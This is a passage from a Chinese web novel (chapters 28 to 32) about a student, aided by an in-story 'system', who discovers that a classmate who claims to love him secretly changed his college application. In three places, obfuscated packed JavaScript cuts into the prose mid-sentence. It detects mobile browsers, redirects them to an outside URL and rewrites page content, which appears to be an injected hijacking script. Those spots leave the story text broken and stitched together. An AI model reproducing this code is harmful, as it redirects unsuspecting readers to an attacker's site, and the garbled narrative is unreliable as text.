晚上,林知白一个人坐在操场的看台上。 天已经黑了,只有几盏路灯亮着,在草地上投下一圈圈昏黄的光。 他想起那天在这里遇见陈瑶。 她坐在看台上哭,他坐在旁边陪她。 那时候他想保护她。 现在他还是想。 但他不知道,该怎么保护。 “林知白。” 一个声音从身后响起。 林知白回过头。 沈墨站在不远处,手里拿着两杯奶茶。 “就知道你在这儿。”他走过来,在林知白旁边坐下,递过一杯奶茶,“给,你喜欢的口味。” 林知白看着那杯奶茶,没有接。 沈墨的手在空中顿了几秒,然后收了回去。 “还在难过?”他问。 林知白没说话。 沈墨叹了口气。 “陈瑶那个人,我了解一点。”他说,“她心思重,想得多。不是不喜欢你,是不敢喜欢。” 林知白转过头,看着他。 “你怎么知道?” 沈墨愣了一下。 “猜的。”他说,“女生都这样。” 林知白看了他几秒,然后转过头,继续看着操场。 “沈墨。”他突然开口。 “嗯?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432128|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你有没有喜欢过一个人?” 沈墨沉默了。 很久之后,他才开口。 “有。” “后来呢?” “后来……”沈墨顿了顿,“后来她走了。” 林知白看着他。 月光下,那张脸显得有点落寞。 “为什么走?” 沈墨摇摇头。 “不说了。”他笑了笑,“都是过去的事了。” 林知白没再问。 两个人就这么坐着,谁都没说话。 夜风吹过来,有点凉。 “林知白。”沈墨突然开口。 “嗯?” “不管陈瑶怎么选。”他说,“我都在你身边。” 林知白看着他。 沈墨也看着他。 月光落在两人之间,像一道透明的墙。 “谢谢。”林知白说。 沈墨笑了。 “不客气。” 两个人继续坐着。 但林知白知道,这句话,是真的。 他开启了“识谎”,数据告诉他,沈墨说这话的时候,心率稳定,体温正常,微表情平静。 是真话。 可是,那个“猎物清单”呢? 那些被沈墨伤害过的人呢? 哪个才是真的? 他不知道。 但他知道,这场戏,越来越复杂了。 回到宿舍,林知白收到一条消息。 是陈瑶发的。 【林知白,对不起。真的对不起。我有苦衷。】 林知白看着这行字,打了几个字发过去: 【什么苦衷?】 陈瑶那边沉默了很久。 然后她发来一条: 【我不能说。但你要小心沈墨。】 林知白盯着这行字,看了很久。 然后他回复: 【我知道。你放心。】 发完他把手机扔到一边,躺在床上。 窗外,月亮很亮。 他想起沈墨今天说的话。 “我都在你身边。” 是真的。 可是为什么,他总觉得这句话背后,藏着别的什么? “宿主。”小污的声音响起。 “嗯?” “本系统查到了一点东西。” 林知白坐起来。 “什么?” 小污沉默了一秒。 “沈墨和陈瑶之间,有过一段。”它说,“高二的时候,沈墨追过陈瑶。追到手之后,他做了什么,陈瑶不肯说。但后来陈瑶申请转学,没批下来。从那以后,她就变得很沉默,很害怕沈墨。” 林知白的手指慢慢收紧。 “做了什么?” “不知道。”小污说,“本系统查不到。但有一个细节——那段时间,陈瑶请过一周假,说是生病。但医院的记录是……心理科。” 林知白的心沉了下去。 心理科。 他想起陈瑶看沈墨的眼神。 那种恐惧,那种想逃又逃不掉的绝望。 “小污。” “嗯?” “我要帮她。”林知白说,“不管这个世界是不是真的,我要帮她。” 小污沉默了几秒。 然后它说:“好。” 第二天,林知白去找陈瑶。 他想了很久,决定直接问。 “陈瑶,沈墨到底对你做了什么?” 陈瑶愣住了。 然后她的眼眶红了。 “你别问了。”她说,“你斗不过他的。” 林知白看着她,一字一字说得很清楚。 “我不怕他。” 陈瑶看着他,眼泪掉下来。 “那你帮我一个忙。”她说,“帮我……找到证据。” 29. 第 29 章 六月的阳光很烈。 林知白站在教学楼下,看着公告栏里那张红底白字的通知——高考志愿填报时间:6月25日-6月28日,逾期不候。 今天是6月24日。 明天开始。 “林知白!” 身后传来沈墨的声音。 林知白转过身,看见他小跑过来,手里拿着两瓶水。 “找你半天了。”沈墨递过来一瓶水,“看什么呢?” 林知白指了指公告栏。 “志愿填报。” 沈墨顺着他的目光看过去,点点头。 “想好报哪儿了吗?” 林知白想了想。 “北京。”他说,“之前跟你说过。” 沈墨的眼神暗了一瞬。 只是一瞬,然后他笑了。 “北京好啊,大城市,机会多。”他说,“不过我听说今年北京那边的分数线挺高的,你模拟考的成绩......够吗?” 林知白沉默了。 他的成绩确实不够。 体育生的文化课分数线比普通生低一些,但北京的好大学,要求也不低。 “没事,还有时间。”沈墨拍了拍他的肩膀,“我帮你研究研究,看看哪些学校你能冲一冲。” 林知白看着他。 那张脸上全是真诚,全是关心。 “宿主。”小污的声音响起,“他在挖坑。” 林知白当然知道。 但他还是点了点头。 “好,谢谢。” 晚上,沈墨来宿舍找林知白。 他抱着一堆资料,有去年的录取分数线,有各学校的招生简章,还有几份打印出来的志愿填报指南。 “来,咱们好好研究研究。”他把资料铺在桌上,“你想去北京哪个学校?” 林知白翻了翻那些资料。 “北体大。”他说,“我体育生,考这个最合适。” 沈墨点点头。 “北体大去年的分数线是......”他翻了翻资料,“四百三。你模拟考多少?” “三百八。” 沈墨沉默了几秒。 “差得有点多。”他说,“不过体育生还有专业分,你专业多少?” “九十二。” 沈墨算了算。 “专业九十二,文化三百八,折合下来......四百一左右。”他抬起头,“还差二十分。” 林知白点点头。 他知道。 “那怎么办?”沈墨看着他,“要不考虑一下别的学校?北京的学校不止这一个。” 他又翻了翻资料。 “北师大体院,去年四百;首体院,三百八十五;还有这个......” 林知白接过资料,看着那些数字。 每一所他都想去。 但每一所都差一点。 “其实......”沈墨突然开口,有点犹豫。 林知白看着他。 “什么?” 沈墨沉默了几秒。 “其实本地大学也不错。”他说,“咱们这儿的一本,分数线三百五左右,你肯定能上。而且离家近,方便。” 林知白看着他,没说话。 “我知道你想去北京。”沈墨继续说,“但你想过没有,去了北京,人生地不熟,什么都得靠自己。留下来,还有我,有同学,有老师......” 林知白还是没说话。 沈墨看着他,叹了口气。 “算了,你自己决定。”他站起来,“我出去买点东西,你先看看资料。” 他走了。 林知白坐在桌前,看着那些资料。 “宿主。”小污的声音响起,“他在给你洗脑。” 林知白点点头。 “我知道。” “那你打算怎么办?” 林知白沉默了几秒。 “我想去北京。”他说,“但我需要先弄清楚,他到底想干什么。” 小污没说话。 林知白继续翻资料。 翻着翻着,他看见一张纸条夹在里面。 抽出来一看,是沈墨的字迹: 【本地大学:录取概率95%,离家近,有我。】 【北京学校:录取概率30%,离家远,未知。】 林知白看着那行字,看了很久。 “有我。” 这两个字,被画了个圈。 晚上十点,沈墨回来了。 他提着几瓶啤酒和一些零食。 “来,放松一下。”他把东西放下,“别老想着志愿的事,明天才填呢。” 林知白看着那几瓶啤酒,想起上次喝醉的事。 “我不喝酒。” “就一瓶。”沈墨打开一瓶递给他,“陪我说说话。” 林知白接过酒,没喝。 沈墨自己喝了一口,靠在椅子上。 “林知白,你说,人为什么要长大?” 林知白愣了一下。 “什么?” “长大。”沈墨看着天花板,“长大了就要做选择,就要离开,就要......失去。” 林知白没说话。 沈墨又喝了一口。 “我小时候特别想长大。”他说,“长大了就能自己做主,想去哪儿去哪儿。现在真的长大了,反而害怕了。” 他转过头,看着林知白。 “你知道我怕什么吗?” 林知白摇摇头。 沈墨笑了。 “怕失去。”他说,“怕好不容易得到的东西,一松手就没了。” 林知白看着他。 灯光下,那张脸显得有点落寞。 “沈墨。”他开口,“你有失去过什么吗?” 沈墨沉默了很久。 久到林知白以为他不会回答了。 然后他说:“有。” “什么?” 沈墨看着他,眼神复杂。 “一个人。”他说,“一个很重要的人。” 林知白心里一动。 “谁?” 沈墨摇摇头。 “不说了。”他举起酒瓶,“来,喝一口。” 林知白看着那瓶酒,犹豫了一下,还是喝了一口。 沈墨笑了。 “这就对了。” 两个人就这么喝着酒,聊着天。 聊小时候的事,聊学校的事,聊未来。 沈墨说起自己小时候养过一只狗,后来死了,他哭了好几天。 林知白说起自己和奶奶一起生活的日子,说奶奶做的红烧肉最好吃。 沈墨听着,笑着,偶尔插几句话。 气氛很融洽。 融洽得像两个真正的朋友。 “林知白。”沈墨突然问,“你觉得我是什么样的人?” 林知白看着他。 “你想听真话?” “当然。” 林知白想了想。 “复杂。”他说,“我看不透你。” 沈墨愣住了。 然后他笑了。 “看不透就对了。”他说,“我自己都看不透自己。” 他又给林知白倒了一杯酒。 “来,再喝一杯。” 林知白看着那杯酒,又看看沈墨。 他想起上次喝醉的后果。 但他还是端起来,喝了。 一杯。 两杯。 三杯。 头开始晕了。 眼前的景物开始晃动。 “沈墨......”他开口,舌头有点大,“我好像又喝多了......” 沈墨看着他,笑了。 “没事,喝多了我送你回去。” 他站起来,扶住林知白。 “走吧,送你回宿舍。” 林知白靠在他身上,被他扶着往外走。 走到门口的时候,他突然停下来。 “沈墨。”他开口,迷迷糊糊的。 沈墨看着他。 “嗯?” “你......到底想干什么?” 沈墨愣住了。 他低头看着林知白,看着那张因为醉酒而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林知白握着那张纸,手在发抖。 但不是因为害怕。 是因为愤怒。 “小污。” “嗯?” “证据够了吗?” 小污沉默了一秒。 “够了。”它说,“录音、监控、志愿填报记录,都齐了。” 林知白点点头。 他站起来,走向门口。 “宿主,你去哪儿?” 林知白停下脚步。 他回过头,看着那张志愿填报表。 然后他笑了。 “去找校长。”他说,“让他看看,他的好学生,背地里是什么样子。” 他推开门,走了出去。 阳光很烈。 照在他身上,有点烫。 但他没有躲。 他一步一步往前走,走向教学楼。 走向真相。 走向—— 反击。 校长办公室里,林知白把证据一份一份摆出来。 录音、监控截图、志愿填报记录。 校长看着那些东西,脸色越来越难看。 “这些......都是真的?” 林知白点点头。 “那你想怎么办?”校长问,“报警?还是......” 林知白沉默了几秒。 然后他说:“我想让他亲口说一句——我爱你。” 校长愣住了。 “什么?” 30. 第 30 章 七月的阳光毒辣得能把人烤化。 林知白站在学校门口,看着公告栏里那张红榜——高考录取名单。 他的目光从上往下扫。 第一行,第二行,第三行…… 终于,在“本地大学”那一栏里,找到了自己的名字。 林知白。 录取专业:体育教育。 通知书发放时间:7月15日。 他站在原地,一动不动。 阳光很烈,晒得他头皮发烫,但他感觉不到。 他只是盯着那个名字,盯着那行字。 “宿主。”小污的声音轻轻响起,“你还好吗?” 林知白没说话。 他转身离开。 走出校门的时候,迎面撞上一个人。 “林知白!”沈墨的声音响起,“我正找你呢!” 林知白抬起头,看着他。 沈墨脸上带着笑,手里拿着两瓶水。 “录取结果出来了你知道吗?”他兴奋地说,“咱俩都考上了!本地大学!以后还能做同学!” 林知白看着他。 那张脸,那副眼镜,那个笑容。 和平时一模一样。 “你怎么知道?”林知白问。 沈墨愣了一下。 “什么?” “你怎么知道我被本地大学录取了?” 沈墨的笑容顿了一瞬。 只是一瞬。 “我……刚才看榜了。”他说,“看见你的名字。” 林知白点点头。 “那你自己呢?” “我也考上了。”沈墨笑着说,“以后咱俩还是同学,多好啊。” 林知白看着他,没有说话。 沈墨被他看得有点不自在。 “怎么了?”他问,“你不高兴吗?本地大学也挺好的,离家近,方便——” “我想复读。”林知白打断他。 沈墨愣住了。 “什么?” “我说,我想复读。”林知白看着他,“重考一年,明年去北京。” 沈墨的表情变了。 那变化很细微,普通人根本察觉不到。 但林知白看见了。 他看见沈墨的眼神暗了一瞬,嘴角微微收紧,手指握紧了水瓶。 然后那些表情消失了,恢复了平时的温柔。 “复读?”沈墨笑了,“别开玩笑了。复读多累啊,而且明年什么情况谁也不知道。本地大学挺好的,我陪你,咱们还能在一起——” “沈墨。”林知白再次打断他。 沈墨看着他。 林知白也看着他。 两个人对视着,阳光在他们之间燃烧。 “你为什么要我留下来?”林知白问。 沈墨的笑容僵住了。 “什么?” “你听见了。”林知白说,“你为什么要我留下来?” 沈墨沉默了几秒。 然后他笑了。 “因为我想和你在一起啊。”他说,“这还用问吗?” 林知白看着他,开启了“识谎”。 数据跳动——心率稳定,体温正常,微表情平静。 真话。 又是真话。 “宿主。”小污的声音响起,“他说的是真的。他真的想和你在一起。” 林知白沉默了。 他想和沈墨在一起。 所以呢? 所以就可以毁掉他的前途? “林知白。”沈墨走近一步,“你别多想。我就是觉得,本地大学挺好的,你在这儿也能好好发展。而且有我陪着你,不好吗?” 林知白看着他。 “沈墨。”他说,“我问你最后一个问题。” 沈墨点点头。 “你问。” “我的志愿,是不是你改的?” 沈墨的表情凝固了。 那凝固只持续了不到一秒。 然后他笑了。 “你在说什么?”他问,“志愿是你自己填的,我怎么可能改?” 林知白没有说话。 他只是看着沈墨的眼睛。 那双眼睛里,有什么东西在闪。 “宿主。”小污的声音响起,“他在撒谎。心率上升了百分之二十,体温升高,微表情紧张。” 林知白点点头。 他知道。 他一直都知道。 “沈墨。”他开口,声音很平静,“我会查清楚的。” 他转身离开。 身后,沈墨站在原地,看着他的背影。 那眼神里,有什么东西沉了下去。 下午,林知白去了学校招生办。 办公室里坐着一个中年女人,戴着眼镜,正在整理文件。 “老师您好,我想查一下我的志愿填报记录。”林知白说。 女人抬起头。 “你叫什么名字?” “林知白。” 女人在电脑上敲了几下,看了看屏幕。 “林知白……本地大学,体育教育专业。怎么了?” 林知白深吸一口气。 “我想确认一下,这个志愿是我自己填的吗?” 女人愣住了。 “什么意思?” “就是……”林知白顿了顿,“有没有可能,被别人改了?” 女人看了他一眼,表情变得严肃。 “志愿填报需要本人账号密码,别人改不了。”她说,“而且我们这边有记录,你的志愿是6月25日上午9点03分提交的,IP地址是学校机房。” 林知白的心沉了下去。 学校机房。 那天上午9点,他在宿舍睡觉。 “那有没有监控?”他问,“我想看看是谁用的那台电脑。” 女人摇摇头。 “机房监控只保留一周,早就删了。” 林知白站在原地,不知道该说什么。 女人看着他,叹了口气。 “同学,我知道你可能不甘心。”她说,“但志愿是你自己填的,怪不了别人。回去好好准备上大学吧,本地大学也挺好的。” 林知白点点头,转身离开。 走出招生办,阳光刺眼。 他站在走廊里,闭上眼睛。 “宿主。”小污的声音响起,“你别难过——” “我没难过。”林知白打断它。 他睁开眼睛,看着远处。 “我只是在想,他到底是怎么做到的。” 小污沉默了几秒。 “本系统有个猜测。”它说,“但需要验证。” “什么猜测?” “他可能……有你的账号密码。” 林知白愣住了。 账号密码? 他什么时候—— 他想起来了。 有一次沈墨借他电脑查资料,他在旁边看着。沈墨问他要密码,他没多想,就说了。 “宿主。”小污的声音很轻,“你中计了。” 林知白没有说话。 他只是站在那里,看着远处的天空。 天很蓝,蓝得像假的。 晚上,林知白一个人坐在操场的看台上。 天已经黑了,只有几盏路灯亮着。 他想起第一次来这里的时候,是陪陈瑶。 那时候他还想保护她。 现在他自己也成了猎物。 “林知白。” 一个声音从身后响起。 林知白没有回头。 沈墨走过来,在他旁边坐下。 两个人就这么坐着,谁都没说话。 很久之后,沈墨开口了。 “你去查了?” 林知白点点头。 “查到了什么?” 林知白转过头,看着他。 月光下,那张脸还是那么好看。 “你用的我的账号。”他说,“密码你知道。” 沈墨沉默了几秒。 然后他笑了。 “是。” 林知白没想到他承认得这么干脆。 他愣住了。 “你说什么?” 沈墨看着他,眼神平静。 “我说,是我填的。”他说,“你的志愿,是我填的。” 林知白张了张嘴,想说什么,但什么都说不出来。 “为什么?”他终于问出这三个字。 沈墨看着他,看了很久。 然后他伸出手,轻轻摸了摸林知白的脸。 那动作很轻,很温柔。 “因为我想让你留下来。”他说,“因为我喜欢你。” 林知白愣住了。 “你说什么?” “我说我喜欢你。”沈墨看着他,眼神认 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“林知白。”沈墨叫他的名字,“你恨我吗?” 林知白沉默了很久。 然后他说:“我不知道。” 沈墨笑了。 “那就好。”他说,“不恨就好。” 他站起来,低头看着林知白。 “不管你恨不恨我。”他说,“我都等你。等你四年毕业,等你回来。你可以去北京,可以离开,但我会一直在这儿等你。” 他转身离开。 走了几步,又停下来。 “林知白。” 林知白抬起头。 沈墨站在路灯下,回头看着他。 “我爱你。”他说,“从第一眼就爱。” 然后他走了。 林知白坐在看台上,看着他的背影消失在夜色里。 月光很亮。 但他心里,一片黑暗。 “宿主。”小污的声音轻轻响起,“任务完成了一半。” 林知白愣了一下。 “什么?” “他说了那三个字。”小污说,“真心的。任务进度百分之五十。” 林知白沉默了。 所以,他的任务,就是用前途换这三个字? 值吗? 他不知道。 他只知道,这一刻,他一点都不高兴。 “小污。” “嗯?” “我该怎么办?” 小污沉默了很久。 然后它说:“本系统不知道。但本系统知道一件事——” “什么?” “你不是一个人。”它说,“你还有我。” 林知白看着夜空,看着那几颗稀疏的星星。 他突然笑了。 “小污。” “嗯?” “谢谢你。” 小污愣了一下。 “谢什么?” 林知白没有回答。 他只是看着星星,心想—— 也许这个世界很操蛋。 也许沈墨是个疯子。 也许他的前途被毁了。 但至少,他还有小污。 还有下一个世界。 还有机会。 “走吧。”他站起来,“回去睡觉。明天再说。” 他走下看台,慢慢往宿舍走。 身后,月光把他的影子拉得很长。 回到宿舍,林知白躺在床上,盯着天花板。 他在想沈墨最后说的那句话。 “我爱你,从第一眼就爱。” 是真的。 可是这样的爱,他承受不起。 第二天,他去找陈瑶。 陈瑶看着他,眼眶红了。 “对不起。”她说,“我当初拒绝你,就是因为害怕。我怕沈墨知道你喜欢我,会对你不利。” 林知白看着她。 “那你呢?”他问,“他对你做了什么?” 陈瑶低下头,沉默了很久。 然后她开口,声音很轻。 “他追我的时候,对我很好。好到我以为他是真心的。后来……后来他逼我做了一些事。我不想做的。” 31. 第 31 章 录取通知书是下午三点送达的。 林知白签收的时候,手很稳。红色的封皮,烫金的字,沉甸甸的像一块砖头。 他拿着通知书上楼,关上门,坐在床边。 然后他拆开了。 “林知白同学,你已被本地大学体育教育专业录取……” 他的目光停在那行字上,看了很久。 窗外有蝉鸣,一声接一声,吵得人心烦。 “宿主。”小污的声音轻轻响起,“你还好吗?” 林知白没说话。 他把通知书放回信封,站起来,走到窗前。 阳光很烈,照在楼下的空地上,晃得人睁不开眼。有几个小孩在玩,追着跑着,笑声远远传来。 “小污。”他突然开口。 “嗯?” “你说,如果我复读一年,明年能考上北京吗?” 小污沉默了几秒。 “能。”它说,“但你得先过眼下这关。” 林知白点点头。 他知道。 复读不是一句话的事。要交钱,要报名,要重新开始。最重要的是,他要说服奶奶。 他拿起手机,拨通了奶奶的号码。 电话响了几声,接通了。 “喂,小白啊?”奶奶的声音从电话那头传来,带着笑,“接到通知书了?” 林知白的喉咙动了动。 “嗯。”他说,“接到了。” “哪个学校?快告诉奶奶!” 林知白沉默了一秒。 “本地大学。”他说。 电话那头安静了。 过了几秒,奶奶的声音又响起来,还是带着笑:“本地大学好啊,离家近,周末能回来,奶奶给你做好吃的。” 林知白的眼眶热了。 “奶奶。”他说,“我想复读。” 电话那头又安静了。 “复读?”奶奶的声音变了,“为什么?” “我想考北京。”林知白说,“这个学校……不是我想要的。” 沉默。 很久的沉默。 久到林知白以为电话断了。 然后奶奶的声音再次响起,很轻,很慢。 “小白啊,奶奶供你读书不容易。”她说,“复读一年,又要多花一年的钱。奶奶年纪大了,身体也不如从前了……” 林知白握着手机的手收紧了一点。 “我知道。”他说,“我可以打工,可以自己赚——” “你听奶奶说。”奶奶打断他,“奶奶不是不让你复读。但你要想清楚,万一明年还是考不上呢?万一明年分数更高呢?万一……” 她没说下去。 但林知白懂了。 万一奶奶等不到那一天呢? “好。”他说,“我知道了。” 挂了电话,他站在原地,看着窗外。 阳光还是那么烈,晃得人睁不开眼。 但他觉得冷。 从心里往外冷。 “宿主。”小污的声音轻轻响起,“你奶奶她……” “我知道。”林知白打断它,“她身体不好。她怕等不到我大学毕业。” 他低下头,看着手里的录取通知书。 红色的封皮,烫金的字。 像一道判决书。 “我该怎么办?”他问。 小污没有回答。 因为它也不知道。 晚上,林知白一个人坐在操场看台上。 天黑透了,只有几盏路灯亮着,在草地上投下一圈圈昏黄的光。 脚步声从身后传来。 他没有回头。 沈墨在他旁边坐下。 两个人就这么坐着,谁都没说话。 很久之后,沈墨开口了。 “听说你接到通知书了?” 林知白没说话。 沈墨看着他,看着那张在月光下显得格外苍白的脸。 “林知白。”他说,“我知道你恨我。” 林知白转过头,看着他。 月光下,那张脸还是那么好看。 “我不恨你。”他说。 沈墨愣住了。 “什么?” “我不恨你。”林知白重复了一遍,“因为我发现,恨一个人太累了。我没力气恨你。” 沈墨看着他,眼神复杂。 “那你打算怎么办?” 林知白想了想。 “上学。”他说,“去本地大学,读完四年,然后……再看吧。” 沈墨沉默了几秒。 然后他笑了。 “那就好。”他说,“那咱们还能做同学。” 林知白看着他。 “沈墨。”他问,“你高兴吗?” 沈墨愣住了。 “什么?” “我留下来,你高兴吗?” 沈墨看着他,看了很久。 然后他点点头。 “高兴。”他说,“特别高兴。” 林知白也点点头。 “那就好。”他说。 两个人继续坐着,谁都没说话。 但林知白知道,有什么东西,在这沉默里死掉了。 第二天,林知白去找陈瑶。 她在图书馆,还是那个老位置。阳光从窗户照进来,在她身上镀了一层浅金色的光。 林知白走过去,在她对面坐下。 陈瑶抬起头,看见是他,愣了一下。 “林知白?” “嗯。” 陈瑶看着他,眼神里有一丝担心。 “你……还好吗?” 林知白想了想。 “还行。”他说。 陈瑶低下头,沉默了几秒。 然后她开口,声音很轻。 “对不起。” 林知白愣住了。 “什么?” “对不起。”陈瑶又说了一遍,抬起头,眼眶红红的,“我当初拒绝你,是因为害怕。我怕沈墨知道你喜欢我,会对你不利。我以为……我以为躲着他,就没事了。没想到……” 她没说完。 林知白看着她,看着那张脸上的愧疚和自责。 “陈瑶。”他说,“不是你的错。” 陈瑶摇摇头。 “是我的错。”她说,“我知道他是什么人,我却没有提醒你。我眼睁睁看着你被他骗,被他……毁掉前途。” 她的眼泪掉下来。 林知白递过去一张纸巾。 “别哭了。”他说,“哭也没用。” 陈瑶接过纸巾,擦了擦脸。 “那你打算怎么办?”她问。 林知白想了想。 “上学。”他说,“本地大学。” 陈瑶愣住了。 “你就这么认了?” 林知白看着她。 “不然呢?”他问,“报警?证据呢?就算有证据,能判他几年?判完了呢?我的前途就能回来?” 陈瑶说不出话。 林知白站起来。 “陈瑶。”他说,“你照顾好自己。离他远点。” 他转身离开。 走到门口的时候,身后传来陈瑶的声音。 “林知白!” 他停下脚步。 陈瑶跑过来,站在他面前。 “我知道我没什么资格说这个。”她喘着气,“但是……如果你需要什么,随时找我。不管什么事,我都帮你。” 林知白看着她。 阳光从窗户照进来,落在她脸上,把那红红的眼眶照得发亮。 他点点头。 “好。” 走出图书馆,阳光刺眼。 林知白站在台阶上,闭上眼睛。 “宿主。”小污的声音响起,“你刚才对陈瑶说的话,是真的吗?” “什么话?” “你说‘不是你的错’。” 林知白沉默了几秒。 “是真的。”他说,“本来就不是她的错。” “那你恨沈墨吗?” 林知白想了想。 “不恨。”他说,“但我也不会原谅他。” 小污没说话。 林知白睁开眼睛,看着远处的天空。 天很蓝,蓝得像假的。 “小污。” “嗯?” “任务完成一半了,对吧?” “对。”小污说,“还差最后一句。” 林知白点点头。 “那就等。”他说,“等到他说出那句话。” “然后呢?” “然后离开。”林知白说,“去下一个世界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432131|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小污沉默了几秒。 “宿主,你变了。” “变什么?” “变狠了。”小污说,“以前的你,会难过很久。现在的你,已经开始想下一步了。” 林知白没说话。 他只是看着天空,看着那几朵白云慢慢飘过。 狠吗? 也许吧。 但他知道,不狠一点,他走不完这八个世界。 不狠一点,他回不了家。 晚上,林知白回到宿舍。 刚推开门,就看见沈墨坐在他的床边。 手里拿着什么东西。 林知白走过去,看清了——是他和奶奶的合照。 沈墨抬起头,看着他。 “你奶奶?” 林知白点点头,从他手里拿过照片,放回桌上。 “你怎么进来的?” “门没锁。”沈墨说,“我等你半天了。” 林知白在他对面坐下。 “有事?” 沈墨看着他,眼神认真。 “林知白。”他说,“我想跟你说件事。” 林知白心里一动。 来了吗? “说。” 沈墨沉默了几秒。 然后他开口了。 “我后悔了。” 林知白愣住了。 “什么?” “我说,我后悔了。”沈墨看着他,眼眶有点红,“改你志愿的事,我后悔了。” 林知白看着他,没说话。 “这几天我想了很多。”沈墨继续说,“我以为你留下来,我会高兴。但看着你那天的眼神,我知道我错了。” 他低下头。 “你不高兴,我也不高兴。我们俩都毁了。” 林知白沉默了几秒。 然后他问:“那你打算怎么办?” 沈墨抬起头。 “我可以帮你。”他说,“帮你复读。钱的事,我出。你奶奶那边,我去说。明年你考北京,我绝不拦着。” 林知白看着他。 开启“识谎”。 数据跳动——心率上升,体温升高,微表情紧张。 真话。 他是真的后悔了。 “宿主。”小污的声音响起,“他说的是真的。” 林知白当然知道。 但他还是摇了摇头。 “不用了。”他说。 沈墨愣住了。 “为什么?” 林知白看着他。 “因为来不及了。”他说,“有些事,做了就是做了。后悔没用。” 沈墨张了张嘴,想说什么,但什么都说不出来。 林知白站起来。 “沈墨。”他说,“咱俩的事,就到这儿吧。” 他转身走向门口。 “林知白!”沈墨叫住他。 林知白停下脚步,没有回头。 沈墨站在他身后,声音发抖。 “我爱你。”他说,“我真的爱你。” 林知白闭上眼睛。 他听见了。 那三个字。 真心的。 任务完成了。 “宿主。”小污的声音轻轻响起,“恭喜你,获得勇气碎片·坚韧。” 林知白没有回答。 他只是推开门,走了出去。 身后,沈墨站在原地,看着他的背影消失在走廊尽头。 林知白走在校园里,月光把他的影子拉得很长。 他不知道自己要去哪儿,只是一直走。 走到操场的时候,他停下来。 看台上坐着一个人。 陈瑶。 她看见他,愣了一下。 “林知白?这么晚了你怎么还——” “陈瑶。”林知白打断她,“我要走了。” 陈瑶愣住了。 “走?去哪儿?” 林知白没有回答。 他只是看着她,月光下那张脸,和第一次见面时一样好看。 “谢谢你。”他说,“保重。” 然后他转身离开。 身后,陈瑶的声音传来:“林知白!你去哪儿?” 他没有回头。 白光闪过。 一切消失了。 32. 第 32 章 白光散去。 林知白睁开眼睛,发现自己又站在那片白色的空间里。 四周空荡荡的,只有脚下流动的星光和面前那个暖黄色的光球。 “欢迎回来。”小污的声音响起,带着一丝疲惫,“恭喜宿主完成第二个世界,获得勇气碎片·坚韧。” 林知白点点头,没有说话。 他低头看着自己的手——和进入世界之前一样,干净,完整。 但心里,有什么东西不一样了。 “宿主。”小污轻轻叫了一声,“你还好吗?” 林知白抬起头。 “挺好。”他说,“下一个世界的后续呢?放吧。” 小污沉默了一秒。 “你确定要看?” “看。” 光屏在面前展开。 画面里是沈墨。 他站在操场的看台上,就是林知白最后离开的那个地方。月光很亮,把他的影子拉得很长。 他就那么站着,一动不动。 很久之后,他开口了。 “林知白。”他说,声音很轻,“你走了?” 没有人回答。 风从操场上吹过,带起几片落叶。 沈墨低下头,看着自己的手。 “我知道你恨我。”他说,“我也恨我自己。” 画面一转。 一年后。 沈墨没有去上大学。他休学了,一个人住在出租屋里,每天对着电脑发呆。桌上堆满了啤酒瓶和外卖盒,窗帘永远拉着,分不清白天黑夜。 他的室友来看他。 “沈墨,你这样不行,出去走走吧。” 沈墨摇摇头。 “不想去。” 室友叹了口气。 “你还在想那个人?” 沈墨没说话。 但他的手,紧紧攥着一样东西。 画面拉近——是一枚胸针。树叶形状的,银色的,上面镶着一颗小小的绿色宝石。 林知白愣住了。 那是他临走前,留在宿舍桌上的。 他以为沈墨不会在意。 “他说过不恨我。”沈墨喃喃自语,“他说不恨我……但也不原谅我。” 他把胸针贴在胸口。 “林知白。”他说,“你在哪儿?” 画面再转。 三年后。 沈墨出现在一个寺庙里。 他剃了光头,穿着灰色的僧袍,手里拿着一串念珠。他跪在佛像前,嘴里念着什么。 镜头拉近,能听见他的声音。 “……愿以此功德,回向给林知白。愿他平安,愿他喜乐,愿他……忘了我。” 旁边的小沙弥问他。 “师兄,你每天都在回向给同一个人。他是你什么人?” 沈墨沉默了很久。 然后他说:“是我这辈子,最对不起的人。” 小沙弥不懂。 沈墨没有解释。 他只是继续念经,继续回向。 日复一日。 年复一年。 画面渐渐变淡。 最后定格在一张照片上——沈墨老了,头发全白了,坐在寺庙的院子里,手里还拿着那枚胸针。 阳光照在他身上,他闭着眼睛,嘴角带着一点笑。 像是睡着了。 又像是,终于等到了什么。 画面暗了下去。 林知白站在原地,一动不动。 “宿主。”小污的声音轻轻响起,“你还好吗?” 林知白没说话。 他只是看着那片黑暗,想着沈墨最后那个笑容。 “他……等了一辈子?”他终于开口,声音有点哑。 “嗯。”小污说,“四十七年。每天都在回向,每天都在想你。那枚胸针,他到死都握着。” 林知白的眼眶热了。 他想起沈墨最后说的那句话——“我爱你,我真的爱你。” 那时候他以为只是任务完成。 